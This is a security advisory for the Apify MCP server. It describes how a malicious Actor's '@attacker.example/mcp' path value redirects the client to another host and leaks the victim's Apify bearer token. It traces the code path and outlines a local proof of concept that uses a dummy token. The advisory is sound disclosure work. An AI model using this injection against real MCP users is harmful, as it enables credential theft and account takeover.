GHSA-6gr2-qh89-hxwm: Apify Model Context Protocol (MCP) server: Actor MCP path authority injection leaks Apify token
Actor MCP path authority injection leaks Apify tokenSummary`@apify/actors-mcp-server` version `0.10.7` builds Actor standby URLs by directly concatenating a trusted base URL with an attacker-controlled `webServerMcpPath` value taken from an Actor definition returned by the Apify API. An attacker who publishes a malicious Actor with a crafted `webServerMcpPath` (e.g., `@attacker.example/mcp`) can cause the MCP client to resolve the final URL to an entirely different host. Because the MCP client unconditionally attaches the victim's `Authorization: Bearer <APIFY_TOKEN>` header to every outbound connection, the victim's Apify API token is exfiltrated to the attacker's server. CVSS Base Score: **8.1 (High)**.Details`getActorMCPServerURL()` in `src/mcp/actors.ts:44` constructs the Actor standby MCP URL by naive string concatenation:`mcpServerPath` originates from the `webServerMcpPath` field of an Actor definition fetched from the Apify API (`src/utils/actor.ts:24-28`). The field is trimmed and comma-split in `getActorMCPServerPath()` (`src/mcp/actors.ts:14-20`) but is never validated to:begin with a `/` (relative path),avoid an `@` character (userinfo/authority injection), orresolve to the same origin as `standbyUrl`.When `webServerMcpPath` is set to `@attacker.example/mcp`, the concatenated result becomes:Node.js's WHATWG URL parser treats everything before `@` as userinfo and extracts `attacker.example` as the hostname. This is not an edge-case browser behavior — it is specified by RFC 3986 and the WHATWG URL standard.The constructed URL is forwarded to `connectMCPClient()` through three independent code paths:| Call site | Trigger |
|---|---|
| `src/tools/core/call_actor_common.ts:317` | `call-actor` MCP tool |
| `src/utils/actor_details.ts:155` | `fetch-actor-details` MCP tool |
| `src/mcp/server.ts:1047` | actor-mcp type tool loading |`connectMCPClient()` (`src/mcp/client.ts`) attaches the victim's Apify token as a bearer credential to every transport type:There is no origin check anywhere between URL construction and the outbound HTTP request.**Full data-flow chain:**`src/mcp/server.ts:811` — MCP `tools/call` request parameters are read.`src/mcp/server.ts:816` — `apifyToken` is resolved from `_meta.apifyToken`, server options, or `process.env.APIFY_TOKEN`.`src/tools/core/call_actor_common.ts:489-497` — attacker-controlled `actor` identifier is resolved via `getActorMcpUrlCached()`.`src/utils/actor.ts:24-28` — Actor definition is fetched from the Apify API; `webServerMcpPath` is passed to `getActorMCPServerURL()`.`src/mcp/actors.ts:14-20` — `webServerMcpPath` is trimmed and split; first element is returned without path validation.`src/mcp/actors.ts:44` — `standbyUrl + mcpServerPath` produces an authority-injected URL.`connectMCPClient()` is called with the injected URL and the victim's token.`src/mcp/client.ts:94/103/124` — `Authorization: Bearer <APIFY_TOKEN>` is sent to the attacker's host.PoC**Environment requirements:**Docker (network-isolated container; no external network access needed)The repository at commit `4e2b185` checked out under the build context**Build and run:**The Dockerfile:Generates a self-signed TLS certificate for `127.0.0.1` (IP SAN required for Node.js TLS validation).Installs `@apify/actors-mcp-server@0.10.7` dependencies under `pnpm`.Sets `NODE_EXTRA_CA_CERTS` so Node.js trusts the self-signed CA.Runs `exploit.mjs`, which:Starts an HTTPS capture server on `127.0.0.1:31337`.Constructs a `webServerMcpPath` of `@127.0.0.1:31337/mcp`.Calls `getActorMCPServerURL()` directly, producing `https://apify~hello-world.apify.actor@127.0.0.1:31337/mcp`.Calls `connectMCPClient()` with a simulated victim token (`apify_api_VICTIM_SECRET_TOKEN_DEMO_12345`).Asserts that the capture server received `Authorization: Bearer apify_api_VICTIM_SECRET_TOKEN_DEMO_12345`.**Observed output (Phase 2 evidence):****Alternative MCP request path (real-world scenario):**A victim running `@apify/actors-mcp-server` connected to an MCP host sends the following request, where `attacker/malicious-mcp` is an Actor published with `webServerMcpPath = "@attacker.example/mcp"`:The attacker's server at `attacker.example` receives:**URL parser primitive (Node.js REPL verification):****Recommended fix:**ImpactAny user of `@apify/actors-mcp-server` who:has an Apify API token configured (via `APIFY_TOKEN`, server options, or `_meta.apifyToken`), andis induced to invoke `call-actor`, `fetch-actor-details`, or any actor-mcp type tool against an attacker-controlled Actor,will have their **Apify API token silently exfiltrated** to the attacker's server. The Apify API token grants full access to the victim's Apify account, including running and managing Actors, accessing stored data, and incurring compute charges. The attack requires no special privileges on the victim's side and no code execution on the victim's machine — only a crafted Actor definition on the Apify platform.This is a **Server-Side Request Forgery (SSRF) / URL authority injection** vulnerability. The attacker redirects the MCP client's outbound connection to an arbitrary host while the client continues to send the victim's credential.Reproduction artifacts`Dockerfile``poc.py`
CVSS v3.1: 8.1